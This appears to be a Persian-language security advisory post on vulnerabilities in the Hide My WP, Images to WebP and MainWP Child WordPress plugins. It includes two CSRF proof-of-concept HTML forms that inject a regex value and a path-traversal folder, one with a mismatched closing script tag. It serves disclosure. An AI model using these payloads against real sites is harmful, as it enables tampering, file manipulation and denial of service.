اخیرا چندین آسیبپذیری در پلاگینهای WordPress از جمله CVE-۲۰۲۱-۳۶۹۱۶ و CVE-۲۰۲۱-۲۴۶۴۱ مشاهده شده که امکان حمله SQL Injection، XSS، CSRF و … را برای مهاجمان فراهم میکنند.
Hide My WP پلاگین امنیتی شماره یک وردپرس است. وردپرس شما را از مهاجمان، هرزنامه ها و آشکارسازهای تم پنهان می کند. بیش از 26000 مشتری راضی از Hide My WP استفاده می کنند. همچنین URL ورود به سیستم wp شما را پنهان می کند و URL مدیر را تغییر نام می دهد. ضمن اینکه حملات امنیتی XSS، SQL Injection را در وب سایت وردپرس شما شناسایی و مسدود می کند.
آسیبپذیری تزریق SQL در افزونه Hide My WP WordPress (نسخههای6.2.3 و قبل از آن) به دلیل نحوه بازیابی و استفاده از آدرس IP در داخل یک کوئری SQL امکانپذیر شده است. تابع “hmwp_get_user_ip” سعی می کند آدرس IP را از چندین هدر مانند “X-Forwarded-For” بازیابی کند. در نتیجه، بار مخرب ارائه شده در یکی از این هدرهای آدرس IP مستقیماً SQL درج شده و تزریق SQL را ممکن می سازد. این افزونه توسط هر کاربر احراز هویت نشده غیرفعال می شود. امکان بازیابی رمز تنظیم مجدد وجود دارد و به این ترتیب می توان از آن برای غیرفعال کردن افزونه استفاده کرد.
افزونه Images to WebP WordPress قبل از نسخه 1.9 نیز دارای بررسی CSRF در هنگام انجام برخی اقدامات مدیریتی نیست، که می تواند منجر به تغییر تنظیمات افزونه، انکار سرویس و همچنین تبدیل تصاویر شود. مدرکی برای این مشکل را در قطعه کد زیر مشاهده میکنید.
<form action=”https://example.com/wp-admin/upload.php?page=images-to-webp.php&tab=general” method=”post” enctype=”application/x-www-form-urlencoded” id=”form”>
<input type=”hidden” name=”plugin_sent” value=”1″>
<input type=”hidden” name=”webp_quality” value=”50″>
<input type=”hidden” name=”upload_convert” value=”1″>
<input type=”hidden” name=”method” value=”gd”>
<input type=”hidden” name=”extensions[]” value=”jpg”>
<!– Inject regular expression. You can also add invalid regex to make malformed .htaccess file and DoS. –>
<input type=”hidden” name=”extensions[]” value=”INJECT_VALUE_HERE)|(.*”>
<input type=submit>
</form>
This converts file on C:\xampp\htdocs\png_images if WordPress is installed on C:\xampp\htdocs\wordpress\, the path is relative to wp-content
<form action=”https://example.com/wp-admin/admin-ajax.php” method=”post” enctype=”application/x-www-form-urlencoded” id=”form”>
<input type=”hidden” name=”action” value=”convert_old_images”>
<input type=”hidden” name=”only_missing” value=”0″>
<input type=”hidden” name=”folder” value=”../../png_images”>
</form>
<script>form.submit()</form>
البته این مشکل در ورژن بعدی برطرف شده است.
افزونه MainWP Child WordPress قبل از 4.1.8 پارامتر orderby و order را قبل از استفاده از آنها در یک عبارت SQL تأیید نمیکند، که منجر به تزریق SQL می شود و توسط کاربران دارای امتیاز بالا مانند admin هنگام نصب افزونه Backup and Staging by WP Time Capsule قابل استفاده است.